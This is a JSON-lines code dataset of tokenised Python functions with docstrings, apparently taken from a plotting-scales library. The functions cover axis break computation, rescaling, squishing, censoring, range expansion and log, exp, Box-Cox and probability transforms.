{"signature": "def __call__(self, limits):", "body": "if any(pd.isnull(x) for x in limits):<EOL><INDENT>return []<EOL><DEDENT>ret = self.locator.tick_values(*limits)<EOL>return [num2date(val) for val in ret]<EOL>", "docstring": "Compute breaks\n\nParameters\n----------\nlimits : tuple\n    Minimum and maximum :class:`datetime.datetime` values.\n\nReturns\n-------\nout : array_like\n    Sequence of break points.", "id": "f10499:c6:m1"}
{"signature": "def __call__(self, limits):", "body": "if any(pd.isnull(x) for x in limits):<EOL><INDENT>return []<EOL><DEDENT>helper = timedelta_helper(limits)<EOL>scaled_limits = helper.scaled_limits()<EOL>scaled_breaks = self._breaks_func(scaled_limits)<EOL>breaks = helper.numeric_to_timedelta(scaled_breaks)<EOL>return breaks<EOL>", "docstring": "Compute breaks\n\nParameters\n----------\nlimits : tuple\n    Minimum and maximum :class:`datetime.timedelta` values.\n\nReturns\n-------\nout : array_like\n    Sequence of break points.", "id": "f10499:c7:m1"}
{"signature": "def best_units(self, sequence):", "body": "<EOL>ts_range = self.value(max(sequence)) - self.value(min(sequence))<EOL>package = self.determine_package(sequence[<NUM_LIT:0>])<EOL>if package == '<STR_LIT>':<EOL><INDENT>cuts = [<EOL>(<NUM_LIT>, '<STR_LIT>'),<EOL>(<NUM_LIT>, '<STR_LIT>'),<EOL>(<NUM_LIT>, '<STR_LIT:s>'),<EOL>(<NUM_LIT:9>, '<STR_LIT:m>'),<EOL>(<NUM_LIT:6>, '<STR_LIT:h>'),<EOL>(<NUM_LIT:4>, '<STR_LIT:d>'),<EOL>(<NUM_LIT:4>, '<STR_LIT:w>'),<EOL>(<NUM_LIT:4>, '<STR_LIT:M>'),<EOL>(<NUM_LIT:3>, '<STR_LIT:y>')]<EOL>denomination = NANOSECONDS<EOL>base_units = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>cuts = [<EOL>(<NUM_LIT>, '<STR_LIT:s>'),<EOL>(<NUM_LIT:9>, '<STR_LIT:m>'),<EOL>(<NUM_LIT:6>, '<STR_LIT:h>'),<EOL>(<NUM_LIT:4>, '<STR_LIT:d>'),<EOL>(<NUM_LIT:4>, '<STR_LIT:w>'),<EOL>(<NUM_LIT:4>, '<STR_LIT:M>'),<EOL>(<NUM_LIT:3>, '<STR_LIT:y>')]<EOL>denomination = SECONDS<EOL>base_units = '<STR_LIT>'<EOL><DEDENT>for size, units in reversed(cuts):<EOL><INDENT>if ts_range >= size*denomination[units]:<EOL><INDENT>return units<EOL><DEDENT><DEDENT>return base_units<EOL>", "docstring": "Determine good units for representing a sequence of timedeltas", "id": "f10499:c8:m3"}
{"signature": "def value(self, td):", "body": "if self.package == '<STR_LIT>':<EOL><INDENT>return td.value<EOL><DEDENT>else:<EOL><INDENT>return td.total_seconds()<EOL><DEDENT>", "docstring": "Return the numeric value representation on a timedelta", "id": "f10499:c8:m4"}
{"signature": "def scaled_limits(self):", "body": "_min = self.limits[<NUM_LIT:0>]/self.factor<EOL>_max = self.limits[<NUM_LIT:1>]/self.factor<EOL>return _min, _max<EOL>", "docstring": "Minimum and Maximum to use for computing breaks", "id": "f10499:c8:m5"}
{"signature": "def timedelta_to_numeric(self, timedeltas):", "body": "return [self.to_numeric(td) for td in timedeltas]<EOL>", "docstring": "Convert sequence of timedelta to numerics", "id": "f10499:c8:m6"}
{"signature": "def numeric_to_timedelta(self, numerics):", "body": "if self.package == '<STR_LIT>':<EOL><INDENT>return [self.type(int(x*self.factor), units='<STR_LIT>')<EOL>for x in numerics]<EOL><DEDENT>else:<EOL><INDENT>return [self.type(seconds=x*self.factor)<EOL>for x in numerics]<EOL><DEDENT>", "docstring": "Convert sequence of numerics to timedelta", "id": "f10499:c8:m7"}
{"signature": "def to_numeric(self, td):", "body": "if self.package == '<STR_LIT>':<EOL><INDENT>return td.value/NANOSECONDS[self.units]<EOL><DEDENT>else:<EOL><INDENT>return td.total_seconds()/SECONDS[self.units]<EOL><DEDENT>", "docstring": "Convert timedelta to a number corresponding to the\nappropriate units. The appropriate units are those\ndetermined with the object is initialised.", "id": "f10499:c8:m9"}
{"signature": "def __call__(self, limits):", "body": "Q = self.Q<EOL>w = self.w<EOL>only_inside = self.only_inside<EOL>simplicity_max = self.simplicity_max<EOL>density_max = self.density_max<EOL>coverage_max = self.coverage_max<EOL>simplicity = self.simplicity<EOL>coverage = self.coverage<EOL>density = self.density<EOL>legibility = self.legibility<EOL>log10 = np.log10<EOL>ceil = np.ceil<EOL>floor = np.floor<EOL>dmin, dmax = limits<EOL>if dmin > dmax:<EOL><INDENT>dmin, dmax = dmax, dmin<EOL><DEDENT>elif dmin == dmax:<EOL><INDENT>return np.array([dmin])<EOL><DEDENT>best_score = -<NUM_LIT:2><EOL>j = <NUM_LIT:1><EOL>while j < float('<STR_LIT>'):<EOL><INDENT>for q in Q:<EOL><INDENT>sm = simplicity_max(q, j)<EOL>if w[<NUM_LIT:0>]*sm + w[<NUM_LIT:1>] + w[<NUM_LIT:2>] + w[<NUM_LIT:3>] < best_score:<EOL><INDENT>j = float('<STR_LIT>')<EOL>break<EOL><DEDENT>k = <NUM_LIT:2><EOL>while k < float('<STR_LIT>'):<EOL><INDENT>dm = density_max(k)<EOL>if w[<NUM_LIT:0>]*sm + w[<NUM_LIT:1>] + w[<NUM_LIT:2>]*dm + w[<NUM_LIT:3>] < best_score:<EOL><INDENT>break<EOL><DEDENT>delta = (dmax-dmin)/(k+<NUM_LIT:1>)/j/q<EOL>z = ceil(log10(delta))<EOL>while z < float('<STR_LIT>'):<EOL><INDENT>step = j*q*(<NUM_LIT:10>**z)<EOL>cm = coverage_max(dmin, dmax, step*(k-<NUM_LIT:1>))<EOL>if w[<NUM_LIT:0>]*sm + w[<NUM_LIT:1>]*cm + w[<NUM_LIT:2>]*dm + w[<NUM_LIT:3>] < best_score:<EOL><INDENT>break<EOL><DEDENT>min_start = int(floor(dmax/step)*j - (k-<NUM_LIT:1>)*j)<EOL>max_start = int(ceil(dmin/step)*j)<EOL>if min_start > max_start:<EOL><INDENT>z = z+<NUM_LIT:1><EOL>break<EOL><DEDENT>for start in range(min_start, max_start+<NUM_LIT:1>):<EOL><INDENT>lmin = start * (step/j)<EOL>lmax = lmin + step*(k-<NUM_LIT:1>)<EOL>lstep = step<EOL>s = simplicity(q, j, lmin, lmax, lstep)<EOL>c = coverage(dmin, dmax, lmin, lmax)<EOL>d = density(k, dmin, dmax, lmin, lmax)<EOL>l = legibility(lmin, lmax, lstep)<EOL>score = w[<NUM_LIT:0>]*s + w[<NUM_LIT:1>]*c + w[<NUM_LIT:2>]*d + w[<NUM_LIT:3>]*l<EOL>if (score > best_score and<EOL>(not only_inside or<EOL>(lmin >= dmin and lmax <= dmax))):<EOL><INDENT>best_score = score<EOL>best = (lmin, lmax, lstep, q, k)<EOL><DEDENT><DEDENT>z = z+<NUM_LIT:1><EOL><DEDENT>k = k+<NUM_LIT:1><EOL><DEDENT><DEDENT>j = j+<NUM_LIT:1><EOL><DEDENT>try:<EOL><INDENT>locs = best[<NUM_LIT:0>] + np.arange(best[<NUM_LIT:4>])*best[<NUM_LIT:2>]<EOL><DEDENT>except UnboundLocalError:<EOL><INDENT>locs = []<EOL><DEDENT>return locs<EOL>", "docstring": "Calculate the breaks\n\nParameters\n----------\nlimits : array\n    Minimum and maximum values.\n\nReturns\n-------\nout : array_like\n    Sequence of break points.", "id": "f10499:c9:m8"}
{"signature": "def rescale(x, to=(<NUM_LIT:0>, <NUM_LIT:1>), _from=None):", "body": "if _from is None:<EOL><INDENT>_from = np.min(x), np.max(x)<EOL><DEDENT>return np.interp(x, _from, to)<EOL>", "docstring": "Rescale numeric vector to have specified minimum and maximum.\n\nParameters\n----------\nx : array_like | numeric\n    1D vector of values to manipulate.\nto : tuple\n    output range (numeric vector of length two)\n_from : tuple\n    input range (numeric vector of length two).\n    If not given, is calculated from the range of x\n\nReturns\n-------\nout : array_like\n    Rescaled values\n\nExamples\n--------\n>>> x = [0, 2, 4, 6, 8, 10]\n>>> rescale(x)\narray([0. , 0.2, 0.4, 0.6, 0.8, 1. ])\n>>> rescale(x, to=(0, 2))\narray([0. , 0.4, 0.8, 1.2, 1.6, 2. ])\n>>> rescale(x, to=(0, 2), _from=(0, 20))\narray([0. , 0.2, 0.4, 0.6, 0.8, 1. ])", "id": "f10500:m0"}
{"signature": "def rescale_mid(x, to=(<NUM_LIT:0>, <NUM_LIT:1>), _from=None, mid=<NUM_LIT:0>):", "body": "array_like = True<EOL>try:<EOL><INDENT>len(x)<EOL><DEDENT>except TypeError:<EOL><INDENT>array_like = False<EOL>x = [x]<EOL><DEDENT>if not hasattr(x, '<STR_LIT>'):<EOL><INDENT>x = np.asarray(x)<EOL><DEDENT>if _from is None:<EOL><INDENT>_from = np.array([np.min(x), np.max(x)])<EOL><DEDENT>else:<EOL><INDENT>_from = np.asarray(_from)<EOL><DEDENT>if (zero_range(_from) or zero_range(to)):<EOL><INDENT>out = np.repeat(np.mean(to), len(x))<EOL><DEDENT>else:<EOL><INDENT>extent = <NUM_LIT:2> * np.max(np.abs(_from - mid))<EOL>out = (x - mid) / extent * np.diff(to) + np.mean(to)<EOL><DEDENT>if not array_like:<EOL><INDENT>out = out[<NUM_LIT:0>]<EOL><DEDENT>return out<EOL>", "docstring": "Rescale numeric vector to have specified minimum, midpoint,\nand maximum.\n\nParameters\n----------\nx : array_like | numeric\n    1D vector of values to manipulate.\nto : tuple\n    output range (numeric vector of length two)\n_from : tuple\n    input range (numeric vector of length two).\n    If not given, is calculated from the range of x\nmid\t: numeric\n    mid-point of input range\n\nReturns\n-------\nout : array_like\n    Rescaled values\n\nExamples\n--------\n>>> rescale_mid([1, 2, 3], mid=1)\narray([0.5 , 0.75, 1.  ])\n>>> rescale_mid([1, 2, 3], mid=2)\narray([0. , 0.5, 1. ])", "id": "f10500:m1"}
{"signature": "def rescale_max(x, to=(<NUM_LIT:0>, <NUM_LIT:1>), _from=None):", "body": "array_like = True<EOL>try:<EOL><INDENT>len(x)<EOL><DEDENT>except TypeError:<EOL><INDENT>array_like = False<EOL>x = [x]<EOL><DEDENT>if not hasattr(x, '<STR_LIT>'):<EOL><INDENT>x = np.asarray(x)<EOL><DEDENT>if _from is None:<EOL><INDENT>_from = np.array([np.min(x), np.max(x)])<EOL><DEDENT>out = x/_from[<NUM_LIT:1>] * to[<NUM_LIT:1>]<EOL>if not array_like:<EOL><INDENT>out = out[<NUM_LIT:0>]<EOL><DEDENT>return out<EOL>", "docstring": "Rescale numeric vector to have specified maximum.\n\nParameters\n----------\nx : array_like | numeric\n    1D vector of values to manipulate.\nto : tuple\n    output range (numeric vector of length two)\n_from : tuple\n    input range (numeric vector of length two).\n    If not given, is calculated from the range of x.\n    Only the 2nd (max) element is essential to the\n    output.\n\nReturns\n-------\nout : array_like\n    Rescaled values\n\nExamples\n--------\n>>> x = [0, 2, 4, 6, 8, 10]\n>>> rescale_max(x, (0, 3))\narray([0. , 0.6, 1.2, 1.8, 2.4, 3. ])\n\nOnly the 2nd (max) element of the parameters ``to``\nand ``_from`` are essential to the output.\n\n>>> rescale_max(x, (1, 3))\narray([0. , 0.6, 1.2, 1.8, 2.4, 3. ])\n>>> rescale_max(x, (0, 20))\narray([ 0.,  4.,  8., 12., 16., 20.])\n\nIf :python:`max(x) < _from[1]` then values will be\nscaled beyond the requested (:python:`to[1]`) maximum.\n\n>>> rescale_max(x, to=(1, 3), _from=(-1, 6))\narray([0., 1., 2., 3., 4., 5.])", "id": "f10500:m2"}
{"signature": "def squish_infinite(x, range=(<NUM_LIT:0>, <NUM_LIT:1>)):", "body": "xtype = type(x)<EOL>if not hasattr(x, '<STR_LIT>'):<EOL><INDENT>x = np.asarray(x)<EOL><DEDENT>x[x == -np.inf] = range[<NUM_LIT:0>]<EOL>x[x == np.inf] = range[<NUM_LIT:1>]<EOL>if not isinstance(x, xtype):<EOL><INDENT>x = xtype(x)<EOL><DEDENT>return x<EOL>", "docstring": "Truncate infinite values to a range.\n\nParameters\n----------\nx : array_like\n    Values that should have infinities squished.\nrange : tuple\n    The range onto which to squish the infinites.\n    Must be of size 2.\n\nReturns\n-------\nout : array_like\n    Values with infinites squished.\n\nExamples\n--------\n>>> squish_infinite([0, .5, .25, np.inf, .44])\n[0.0, 0.5, 0.25, 1.0, 0.44]\n>>> squish_infinite([0, -np.inf, .5, .25, np.inf], (-10, 9))\n[0.0, -10.0, 0.5, 0.25, 9.0]", "id": "f10500:m3"}
{"signature": "def squish(x, range=(<NUM_LIT:0>, <NUM_LIT:1>), only_finite=True):", "body": "xtype = type(x)<EOL>if not hasattr(x, '<STR_LIT>'):<EOL><INDENT>x = np.asarray(x)<EOL><DEDENT>finite = np.isfinite(x) if only_finite else True<EOL>x[np.logical_and(x < range[<NUM_LIT:0>], finite)] = range[<NUM_LIT:0>]<EOL>x[np.logical_and(x > range[<NUM_LIT:1>], finite)] = range[<NUM_LIT:1>]<EOL>if not isinstance(x, xtype):<EOL><INDENT>x = xtype(x)<EOL><DEDENT>return x<EOL>", "docstring": "Squish values into range.\n\nParameters\n----------\nx : array_like\n    Values that should have out of range values squished.\nrange : tuple\n    The range onto which to squish the values.\nonly_finite: boolean\n    When true, only squishes finite values.\n\nReturns\n-------\nout : array_like\n    Values with out of range values squished.\n\nExamples\n--------\n>>> squish([-1.5, 0.2, 0.5, 0.8, 1.0, 1.2])\n[0.0, 0.2, 0.5, 0.8, 1.0, 1.0]\n\n>>> squish([-np.inf, -1.5, 0.2, 0.5, 0.8, 1.0, np.inf], only_finite=False)\n[0.0, 0.0, 0.2, 0.5, 0.8, 1.0, 1.0]", "id": "f10500:m4"}
{"signature": "def censor(x, range=(<NUM_LIT:0>, <NUM_LIT:1>), only_finite=True):", "body": "if not len(x):<EOL><INDENT>return x<EOL><DEDENT>py_time_types = (datetime.datetime, datetime.timedelta)<EOL>np_pd_time_types = (pd.Timestamp, pd.Timedelta,<EOL>np.datetime64, np.timedelta64)<EOL>x0 = first_element(x)<EOL>if type(x0) in py_time_types:<EOL><INDENT>return _censor_with(x, range, '<STR_LIT>')<EOL><DEDENT>if not hasattr(x, '<STR_LIT>') and isinstance(x0, np_pd_time_types):<EOL><INDENT>return _censor_with(x, range, type(x0)('<STR_LIT>'))<EOL><DEDENT>x_array = np.asarray(x)<EOL>if pdtypes.is_number(x0) and not isinstance(x0, np.timedelta64):<EOL><INDENT>null = float('<STR_LIT>')<EOL><DEDENT>elif com.is_datetime_arraylike(x_array):<EOL><INDENT>null = pd.Timestamp('<STR_LIT>')<EOL><DEDENT>elif pdtypes.is_datetime64_dtype(x_array):<EOL><INDENT>null = np.datetime64('<STR_LIT>')<EOL><DEDENT>elif isinstance(x0, pd.Timedelta):<EOL><INDENT>null = pd.Timedelta('<STR_LIT>')<EOL><DEDENT>elif pdtypes.is_timedelta64_dtype(x_array):<EOL><INDENT>null = np.timedelta64('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT:{}>\".format(type(x0)))<EOL><DEDENT>if only_finite:<EOL><INDENT>try:<EOL><INDENT>finite = np.isfinite(x)<EOL><DEDENT>except TypeError:<EOL><INDENT>finite = np.repeat(True, len(x))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>finite = np.repeat(True, len(x))<EOL><DEDENT>if hasattr(x, '<STR_LIT>'):<EOL><INDENT>outside = (x < range[<NUM_LIT:0>]) | (x > range[<NUM_LIT:1>])<EOL>bool_idx = finite & outside<EOL>x = x.copy()<EOL>x[bool_idx] = null<EOL><DEDENT>else:<EOL><INDENT>x = [null if not range[<NUM_LIT:0>] <= val <= range[<NUM_LIT:1>] and f else val<EOL>for val, f in zip(x, finite)]<EOL><DEDENT>return x<EOL>", "docstring": "Convert any values outside of range to a **NULL** type object.\n\nParameters\n----------\nx : array_like\n    Values to manipulate\nrange : tuple\n    (min, max) giving desired output range\nonly_finite : bool\n    If True (the default), will only modify\n    finite values.\n\nReturns\n-------\nx : array_like\n    Censored array\n\nExamples\n--------\n>>> a = [1, 2, np.inf, 3, 4, -np.inf, 5]\n>>> censor(a, (0, 10))\n[1, 2, inf, 3, 4, -inf, 5]\n>>> censor(a, (0, 10), False)\n[1, 2, nan, 3, 4, nan, 5]\n>>> censor(a, (2, 4))\n[nan, 2, inf, 3, 4, -inf, nan]\n\nNotes\n-----\nAll values in ``x`` should be of the same type. ``only_finite`` parameter\nis not considered for Datetime and Timedelta types.\n\nThe **NULL** type object depends on the type of values in **x**.\n\n- :class:`float` - :py:`float('nan')`\n- :class:`int` - :py:`float('nan')`\n- :class:`datetime.datetime` : :py:`np.datetime64(NaT)`\n- :class:`datetime.timedelta` : :py:`np.timedelta64(NaT)`", "id": "f10500:m5"}
{"signature": "def _censor_with(x, range, value=None):", "body": "return [val if range[<NUM_LIT:0>] <= val <= range[<NUM_LIT:1>] else value<EOL>for val in x]<EOL>", "docstring": "Censor any values outside of range with ``None``", "id": "f10500:m6"}
{"signature": "def zero_range(x, tol=np.finfo(float).eps * <NUM_LIT:100>):", "body": "try:<EOL><INDENT>if len(x) == <NUM_LIT:1>:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>except TypeError:<EOL><INDENT>return True<EOL><DEDENT>if len(x) != <NUM_LIT:2>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>x = tuple(x)<EOL>if isinstance(x[<NUM_LIT:0>], (pd.Timestamp, datetime.datetime)):<EOL><INDENT>x = date2num(x)<EOL><DEDENT>elif isinstance(x[<NUM_LIT:0>], np.datetime64):<EOL><INDENT>return x[<NUM_LIT:0>] == x[<NUM_LIT:1>]<EOL><DEDENT>elif isinstance(x[<NUM_LIT:0>], (pd.Timedelta, datetime.timedelta)):<EOL><INDENT>x = x[<NUM_LIT:0>].total_seconds(), x[<NUM_LIT:1>].total_seconds()<EOL><DEDENT>elif isinstance(x[<NUM_LIT:0>], np.timedelta64):<EOL><INDENT>return x[<NUM_LIT:0>] == x[<NUM_LIT:1>]<EOL><DEDENT>elif not isinstance(x[<NUM_LIT:0>], (float, int, np.number)):<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(type(x[<NUM_LIT:0>])))<EOL><DEDENT>if any(np.isnan(x)):<EOL><INDENT>return np.nan<EOL><DEDENT>if x[<NUM_LIT:0>] == x[<NUM_LIT:1>]:<EOL><INDENT>return True<EOL><DEDENT>if all(np.isinf(x)):<EOL><INDENT>return False<EOL><DEDENT>m = np.abs(x).min()<EOL>if m == <NUM_LIT:0>:<EOL><INDENT>return False<EOL><DEDENT>return np.abs((x[<NUM_LIT:0>] - x[<NUM_LIT:1>]) / m) < tol<EOL>", "docstring": "Determine if range of vector is close to zero.\n\nParameters\n----------\nx : array_like | numeric\n    Value(s) to check. If it is an array_like, it\n    should be of length 2.\ntol : float\n    Tolerance. Default tolerance is the `machine epsilon`_\n    times :math:`10^2`.\n\nReturns\n-------\nout : bool\n    Whether ``x`` has zero range.\n\nExamples\n--------\n>>> zero_range([1, 1])\nTrue\n>>> zero_range([1, 2])\nFalse\n>>> zero_range([1, 2], tol=2)\nTrue\n\n.. _machine epsilon: https://en.wikipedia.org/wiki/Machine_epsilon", "id": "f10500:m7"}
{"signature": "def expand_range(range, mul=<NUM_LIT:0>, add=<NUM_LIT:0>, zero_width=<NUM_LIT:1>):", "body": "x = range<EOL>try:<EOL><INDENT>x[<NUM_LIT:0>]<EOL><DEDENT>except TypeError:<EOL><INDENT>x = (x, x)<EOL><DEDENT>if zero_range(x):<EOL><INDENT>new = x[<NUM_LIT:0>]-zero_width/<NUM_LIT:2>, x[<NUM_LIT:0>]+zero_width/<NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>dx = (x[<NUM_LIT:1>] - x[<NUM_LIT:0>]) * mul + add<EOL>new = x[<NUM_LIT:0>]-dx, x[<NUM_LIT:1>]+dx<EOL><DEDENT>return new<EOL>", "docstring": "Expand a range with a multiplicative or additive constant\n\nParameters\n----------\nrange : tuple\n    Range of data. Size 2.\nmul : int | float\n    Multiplicative constant\nadd : int | float | timedelta\n    Additive constant\nzero_width : int | float | timedelta\n    Distance to use if range has zero width\n\nReturns\n-------\nout : tuple\n    Expanded range\n\nExamples\n--------\n>>> expand_range((3, 8))\n(3, 8)\n>>> expand_range((0, 10), mul=0.1)\n(-1.0, 11.0)\n>>> expand_range((0, 10), add=2)\n(-2, 12)\n>>> expand_range((0, 10), mul=.1, add=2)\n(-3.0, 13.0)\n>>> expand_range((0, 1))\n(0, 1)\n\nWhen the range has zero width\n\n>>> expand_range((5, 5))\n(4.5, 5.5)\n\nNotes\n-----\nIf expanding *datetime* or *timedelta* types, **add** and\n**zero_width** must be suitable *timedeltas* i.e. You should\nnot mix types between **Numpy**, **Pandas** and the\n:mod:`datetime` module.\n\nIn Python 2, you cannot multiplicative constant **mul** cannot be\na :class:`float`.", "id": "f10500:m8"}
{"signature": "def expand_range_distinct(range, expand=(<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>), zero_width=<NUM_LIT:1>):", "body": "if len(expand) == <NUM_LIT:2>:<EOL><INDENT>expand = tuple(expand) * <NUM_LIT:2><EOL><DEDENT>lower = expand_range(range, expand[<NUM_LIT:0>], expand[<NUM_LIT:1>], zero_width)[<NUM_LIT:0>]<EOL>upper = expand_range(range, expand[<NUM_LIT:2>], expand[<NUM_LIT:3>], zero_width)[<NUM_LIT:1>]<EOL>return (lower, upper)<EOL>", "docstring": "Expand a range with a multiplicative or additive constants\n\nSimilar to :func:`expand_range` but both sides of the range\nexpanded using different constants\n\nParameters\n----------\nrange : tuple\n    Range of data. Size 2\nexpand : tuple\n    Length 2 or 4. If length is 2, then the same constants\n    are used for both sides. If length is 4 then the first\n    two are are the Multiplicative (*mul*) and Additive (*add*)\n    constants for the lower limit, and the second two are\n    the constants for the upper limit.\nzero_width : int | float | timedelta\n    Distance to use if range has zero width\n\nReturns\n-------\nout : tuple\n    Expanded range\n\nExamples\n--------\n>>> expand_range_distinct((3, 8))\n(3, 8)\n>>> expand_range_distinct((0, 10), (0.1, 0))\n(-1.0, 11.0)\n>>> expand_range_distinct((0, 10), (0.1, 0, 0.1, 0))\n(-1.0, 11.0)\n>>> expand_range_distinct((0, 10), (0.1, 0, 0, 0))\n(-1.0, 10)\n>>> expand_range_distinct((0, 10), (0, 2))\n(-2, 12)\n>>> expand_range_distinct((0, 10), (0, 2, 0, 2))\n(-2, 12)\n>>> expand_range_distinct((0, 10), (0, 0, 0, 2))\n(0, 12)\n>>> expand_range_distinct((0, 10), (.1, 2))\n(-3.0, 13.0)\n>>> expand_range_distinct((0, 10), (.1, 2, .1, 2))\n(-3.0, 13.0)\n>>> expand_range_distinct((0, 10), (0, 0, .1, 2))\n(0, 13.0)", "id": "f10500:m9"}
{"signature": "def trans_new(name, transform, inverse, breaks=None,<EOL>minor_breaks=None, _format=None,<EOL>domain=(-np.inf, np.inf), doc='<STR_LIT>', **kwargs):", "body": "def _get(func):<EOL><INDENT>if isinstance(func, (classmethod, staticmethod, MethodType)):<EOL><INDENT>return func<EOL><DEDENT>else:<EOL><INDENT>return staticmethod(func)<EOL><DEDENT><DEDENT>klass_name = '<STR_LIT>'.format(name)<EOL>d = {'<STR_LIT>': _get(transform),<EOL>'<STR_LIT>': _get(inverse),<EOL>'<STR_LIT>': domain,<EOL>'<STR_LIT>': doc,<EOL>**kwargs}<EOL>if breaks:<EOL><INDENT>d['<STR_LIT>'] = _get(breaks)<EOL><DEDENT>if minor_breaks:<EOL><INDENT>d['<STR_LIT>'] = _get(minor_breaks)<EOL><DEDENT>if _format:<EOL><INDENT>d['<STR_LIT>'] = _get(_format)<EOL><DEDENT>return type(klass_name, (trans,), d)<EOL>", "docstring": "Create a transformation class object\n\nParameters\n----------\nname : str\n    Name of the transformation\ntransform : callable ``f(x)``\n    A function (preferably a `ufunc`) that computes\n    the transformation.\ninverse : callable ``f(x)``\n    A function (preferably a `ufunc`) that computes\n    the inverse of the transformation.\nbreaks : callable ``f(limits)``\n    Function to compute the breaks for this transform.\n    If None, then a default good enough for a linear\n    domain is used.\nminor_breaks : callable ``f(major, limits)``\n    Function to compute the minor breaks for this\n    transform. If None, then a default good enough for\n    a linear domain is used.\n_format : callable ``f(breaks)``\n    Function to format the generated breaks.\ndomain : array_like\n    Domain over which the transformation is valid.\n    It should be of length 2.\ndoc : str\n    Docstring for the class.\n**kwargs : dict\n    Attributes of the transform, e.g if base is passed\n    in kwargs, then `t.base` would be a valied attribute.\n\nReturns\n-------\nout : trans\n    Transform class", "id": "f10509:m0"}
{"signature": "def log_trans(base=None, **kwargs):", "body": "<EOL>if base is None:<EOL><INDENT>name = '<STR_LIT>'<EOL>base = np.exp(<NUM_LIT:1>)<EOL>transform = np.log<EOL><DEDENT>elif base == <NUM_LIT:10>:<EOL><INDENT>name = '<STR_LIT>'<EOL>transform = np.log10<EOL><DEDENT>elif base == <NUM_LIT:2>:<EOL><INDENT>name = '<STR_LIT>'<EOL>transform = np.log2<EOL><DEDENT>else:<EOL><INDENT>name = '<STR_LIT>'.format(base)<EOL>def transform(x):<EOL><INDENT>return np.log(x)/np.log(base)<EOL><DEDENT><DEDENT>def inverse(x):<EOL><INDENT>try:<EOL><INDENT>return base ** x<EOL><DEDENT>except TypeError:<EOL><INDENT>return [base**val for val in x]<EOL><DEDENT><DEDENT>if '<STR_LIT>' not in kwargs:<EOL><INDENT>kwargs['<STR_LIT>'] = (sys.float_info.min, np.inf)<EOL><DEDENT>if '<STR_LIT>' not in kwargs:<EOL><INDENT>kwargs['<STR_LIT>'] = log_breaks(base=base)<EOL><DEDENT>kwargs['<STR_LIT>'] = base<EOL>kwargs['<STR_LIT>'] = log_format(base)<EOL>_trans = trans_new(name, transform, inverse, **kwargs)<EOL>if '<STR_LIT>' not in kwargs:<EOL><INDENT>n = int(base) - <NUM_LIT:2><EOL>_trans.minor_breaks = trans_minor_breaks(_trans, n=n)<EOL><DEDENT>return _trans<EOL>", "docstring": "Create a log transform class for *base*\n\nParameters\n----------\nbase : float\n    Base for the logarithm. If None, then\n    the natural log is used.\nkwargs : dict\n    Keyword arguments passed onto\n    :func:`trans_new`. Should not include\n    the `transform` or `inverse`.\n\nReturns\n-------\nout : type\n    Log transform class", "id": "f10509:m1"}
{"signature": "def exp_trans(base=None, **kwargs):", "body": "<EOL>if base is None:<EOL><INDENT>name = '<STR_LIT>'<EOL>base = np.exp(<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>name = '<STR_LIT>'.format(base)<EOL><DEDENT>def transform(x):<EOL><INDENT>return base ** x<EOL><DEDENT>def inverse(x):<EOL><INDENT>return np.log(x)/np.log(base)<EOL><DEDENT>kwargs['<STR_LIT>'] = base<EOL>return trans_new(name, transform, inverse, **kwargs)<EOL>", "docstring": "Create a exponential transform class for *base*\n\nThis is inverse of the log transform.\n\nParameters\n----------\nbase : float\n    Base of the logarithm\nkwargs : dict\n    Keyword arguments passed onto\n    :func:`trans_new`. Should not include\n    the `transform` or `inverse`.\n\nReturns\n-------\nout : type\n    Exponential transform class", "id": "f10509:m2"}
{"signature": "def boxcox_trans(p, **kwargs):", "body": "if np.abs(p) < <NUM_LIT>:<EOL><INDENT>return log_trans()<EOL><DEDENT>def transform(x):<EOL><INDENT>return (x**p - <NUM_LIT:1>) / (p * np.sign(x-<NUM_LIT:1>))<EOL><DEDENT>def inverse(x):<EOL><INDENT>return (np.abs(x) * p + np.sign(x)) ** (<NUM_LIT:1> / p)<EOL><DEDENT>kwargs['<STR_LIT:p>'] = p<EOL>kwargs['<STR_LIT:name>'] = kwargs.get('<STR_LIT:name>', '<STR_LIT>'.format(p))<EOL>kwargs['<STR_LIT>'] = transform<EOL>kwargs['<STR_LIT>'] = inverse<EOL>return trans_new(**kwargs)<EOL>", "docstring": "Boxcox Transformation\n\nParameters\n----------\np : float\n    Power parameter, commonly denoted by\n    lower-case lambda in formulae\nkwargs : dict\n    Keyword arguments passed onto\n    :func:`trans_new`. Should not include\n    the `transform` or `inverse`.", "id": "f10509:m3"}
{"signature": "def probability_trans(distribution, *args, **kwargs):", "body": "import scipy.stats as stats<EOL>cdists = {k for k in dir(stats)<EOL>if hasattr(getattr(stats, k), '<STR_LIT>')}<EOL>if distribution not in cdists:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValueError(msg.format(distribution))<EOL><DEDENT>try:<EOL><INDENT>doc = kwargs.pop('<STR_LIT>')<EOL><DEDENT>except KeyError:<EOL><INDENT>doc = '<STR_LIT>'<EOL><DEDENT>try:<EOL><INDENT>name = kwargs.pop('<STR_LIT>')<EOL><DEDENT>except KeyError:<EOL><INDENT>name = '<STR_LIT>'.format(distribution)<EOL><DEDENT>def transform(x):<EOL><INDENT>return getattr(stats, distribution).cdf(x, *args, **kwargs)<EOL><DEDENT>def inverse(x):<EOL><INDENT>return getattr(stats, distribution).ppf(x, *args, **kwargs)<EOL><DEDENT>return trans_new(name,<EOL>transform, inverse, domain=(<NUM_LIT:0>, <NUM_LIT:1>),<EOL>doc=doc)<EOL>", "docstring": "Probability Transformation\n\nParameters\n----------\ndistribution : str\n    Name of the distribution. Valid distributions are\n    listed at :mod:`scipy.stats`. Any of the continuous\n    or discrete distributions.\nargs : tuple\n    Arguments passed to the distribution functions.\nkwargs : dict\n    Keyword arguments passed to the distribution functions.\n\nNotes\n-----\nMake sure that the distribution is a good enough\napproximation for the data. When this is not the case,\ncomputations may run into errors. Absence of any errors\ndoes not imply that the distribution fits the data.", "id": "f10509:m4"}
